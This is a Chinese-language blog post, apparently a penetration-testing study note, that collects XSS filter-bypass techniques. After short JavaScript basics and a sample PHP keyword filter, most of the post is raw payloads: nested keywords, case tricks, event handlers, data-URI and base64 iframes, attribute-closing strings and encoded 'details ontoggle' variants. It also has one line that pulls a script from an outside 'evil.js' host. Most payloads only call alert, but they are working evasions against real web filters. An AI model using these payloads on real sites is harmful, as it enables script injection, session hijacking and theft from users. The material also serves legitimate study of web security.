美文网首页
XSS 绕过

XSS 绕过

作者: q1ya | 来源:发表于2019-07-09 09:27 被阅读0次

    javascript

    1、JavaScript代码可以直接嵌在网页的任何地方,不过通常我们都把JavaScript代码放到<head>中
    2、由<script>...</script>包含的代码就是JavaScript代码,它将直接被浏览器执行
    3、第二种方法是把JavaScript代码放到一个单独的.js文件(dy.js),然后在HTML中通过<script src="/dy.js"></script>引入这个文件
    4、注释//和/*注释*/
    5、html标签不区分大小写,但是javascript里面的代码严格区分大小写,如<HtMl>和<ScriPt>
    6、JavaScript在设计之初,为了方便初学者学习,并不强制要求用var申明变量。这个设计错误带来了严重的后果:如果一个变量没有通过var申明就被使用,那么该变量就自动被申明为全局变量
    7、可以用a='\u4e2d\u6587'代替a='中文'
    8、要把多个字符串连接起来,可以用+号连接
    9、单引号内为字符串如'xss',斜杠内也为字符串如/xss/,等效

    XSS

    测试代码

    <>script<script>alert<a>'"javascript:href\eval
    <svg onload=alert(/xss/)>
    
    过滤alert、script等关键字

    服务端代码

    <?php
    $name = $_GET['name'];
    echo "<br>";
    $qian = array("alert","script");
    $hou = "";
    $filter = str_replace($qian,$hou,$name);
    echo "过滤后",$filter;
    

    过滤alert

    只过滤一次:<script>alalertert(1)</script>
    prompt函数替代:<script>prompt(1)</script>`
    confirm函数替代:<script>confirm(1)</script>`
    以src外部调用格式:<script src="http://rhainfosec.com/evil.js"></scrip>
    

    过滤script

    只过滤一次:<scrscriptipt>alert('xss')</scrscriptipt>
    大小写绕过:<SCript>alert('xss')</script>
    

    过滤<script>

    只过滤一次:<scr<script>ipt>alert('xss')</scr<script>ipt>
    

    过滤alert(***)

    <script>
    a=alert
    b='xss'
    a(b)
    </script>
    

    使用<a>标签绕过

    <a href="http://www.baidu.com">Clickme</a>
    <a href="javascript:alert(1)">Clickme</a>
    <A Href="javascript:alert(1)">Clickme</a>
    <a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
    

    src属性绕过

    <img src=x onerror=prompt(1);>
    <img/src=aaa.jpg onerror=prompt(1);> 
    <video src=x onerror=prompt(1);>
    <audio src=x onerror=prompt(1);>
    

    iframe标签绕过

    <iframe src="javascript:alert(2)">
    <iframe src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
    <iframe/src="data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
    

    embed标签绕过

    <embed src="javascript:alert(2)">
    

    action属性绕过

    <form action="Javascript:alert(1)"><input type=submit>
    

    formaction绕过

    <form><button formaction=javascript&colon;alert(1)>CLICKME
    

    data属性绕过

    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    <object data=javascript:alert(1)>
    

    事件触发

    <svg/onload=prompt(1);>
    <marquee/onstart=confirm(2)>
    <body onload=prompt(1);>
    <select autofocus onfocus=alert(1)>
    <textarea autofocus onfocus=alert(1)>
    <keygen autofocus onfocus=alert(1)>
    <video><source onerror="javascript:alert(1)">
    

    括号被过滤

    <img src=x onerror="javascript:window.onerror=alert;throw 1">
    

    location属性绕过

    <a onmouseover=location='javascript:alert(1)'>click   鼠标移到click
    
    

    其他

    <meta http-equiv="refresh" content="0;url=www.baidu.com">
    <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/>
    需要点击扇形
    <math><a xlink:href="//www.baidu.com">click
    需要点击
    <svg><script>alert&#40/1/&#41</script>
    

    输出在属性中,需要构造闭合

    "><img src=x onerror=prompt(0);>
    " autofocus onfocus=alert(1)//
    "onmouseover=" prompt(0)x="
    "onfocusin=alert(1) autofocusx="
    " onfocusout=alert(1) autofocus x="
    "onblur=alert(1) autofocusa="
    

    输出在script标签中

    构造闭合
    ";alert(1)//
    ";document.body.addEventListener("DOMActivate",alert(1))//
    ";document.body.addEventListener("DOMActivate",prompt(1))//
    ";document.body.addEventListener("DOMActivate",confirm(1))//
    

    unicode编码绕过

    \u0061\u006c\u0065\u0072\u0074(1)是alert(1)的unicode编码,eval()会将编码过的语句解码后再执行
    script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
    
    

    按位置分类

    1、利用<script></script>标签
    2、利用伪协议javascript:
    <a href="javascript:alert(/xss/)">click</a>
    

    绕过

    1、html所有标签都不区分大小写,<A HrEf="javascript:alert(/xss/)">click</a>
    2、html属性值支持ascii码十进制和十六进制
    <a hRef="j&#65v&#97script:&#x61lert(/xss/)">click</a>
    属性值指的是href=""引号内的值
    A的ASCII十进制是&#65
    a的ASCII十进制是&#97
    但是javascript代码严格区分大小写,以上代码可以执行xss,说明ascii编码后A和a都变成a
    
    
    2、JavaScript所有代码都不识别tab键,<A hRef="ja    vas cript   :alert(/    xss/)">click</a>
    3、简单过滤绕过<scr<script>ipt>
    

    html属性

    <a>标签用于设置超链接,<a>标签最重要的属性是href,用于指定超链接的位置
    href属性的内容也可以是JavaScript伪协议,点击后执行
    <a href="javascript:alert(/xss/)">click</script>
    
    

    xss模块注入

    利用条件,在F12查看源码能看到用户输入的参数值,右键查看源码却看不到
    使用{{$eval(alert(1))}}
    如图
    

    html实体编码引号

    <img src =javascript:alert(&quot;XSS;&quot;)>
    

    过滤alert()括号内容

    <img src=1 onerror=[1].filter(alert)>
    

    payload

    <details open ontoggle=top['al'%2B'ert'](1) >
    <details open ontoggle=self['al'%2B'ert'](1) >
    <details open ontoggle=parent['al'%2B'ert'](1) >
    <details open ontoggle=frames['al'%2B'ert'](1) >
    <details open ontoggle=content['al'%2B'ert'](1) >
    <details open ontoggle=window['al'%2B'ert'](1) >
    JS8编码:
    <details open ontoggle=top['al\145rt'](1) >
    <details open ontoggle=top['\141\154\145\162\164'](1) >
    JS16编码:
    <details open ontoggle=top['al\x65rt'](1) >
    其他
    <details open ontoggle=top[/al/.source%2B/ert/.source](1) >
    <details open ontoggle=top[8680439..toString(30)](1); >
    <details open ontoggle=top[11189117..toString(32)](1); >
    <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
    <details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
    <details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
    <details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
    <details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
    

    相关文章

      网友评论

          本文标题:XSS 绕过

          本文链接:https://www.haomeiwen.com/subject/oamyqctx.html